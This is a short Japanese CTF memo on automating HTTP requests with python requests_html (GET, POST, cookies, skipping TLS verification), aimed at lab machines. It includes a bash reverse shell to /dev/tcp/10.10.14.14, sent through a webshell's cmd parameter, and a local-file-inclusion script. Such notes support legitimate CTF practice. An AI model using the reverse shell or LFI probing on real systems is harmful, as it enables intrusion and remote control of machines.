d415k's CTF memos.

雑な技術メモ

19 June 2022

HTTP通信の自動化(python/requests_html)

基本

from requests_html import HTMLSession

s = HTMLSession()

GET

url = 'http://10.10.11.116/'

r = s.get(url)

print(r.text) # htmlを表示
print(r.html.text) # inner textのみ表示

POST

url = 'http://10.10.11.116/'

data = {"username":"admin","password":"adm123"}
r = s.post(url, data=data)

POST(JSON)

url = 'http://10.10.11.116/'

data = {"username":"admin","password":"adm123"}
r = s.post(url, json=data)

取得

print(s.cookies)

送信

url = "http://10.10.11.139:5000/"

session.cookies.set('auth', 'some_cookie')

r = session.get(url)

TLS証明書の検証をしない

verify=False

url = 'https://store.nunchucks.htb/api/submit'
r = session.post(url, verify=False, json=data)

DataのURL encode

import urllib.parse

cmd = 'bash -c "bash -i >& /dev/tcp/10.10.14.14/7777 0>&1"'
cmd = urllib.parse.quote(cmd)
url = f'http://10.10.11.116/webshell.php?cmd={cmd}'

r = s.get(url)

LFI用。コマンドライン引数にファイル名を入力する。

import sys
from requests_html import HTMLSession

s = HTMLSession()

url = f'http://10.10.10.194/news.php?file={sys.argv[1]}'
print(f'url: {url}')

r = s.get(url)

print(r.text) # htmlを表示
print(r.html.text) # inner textのみ表示
tags: CTF - Common - cheatsheet - python - requests_html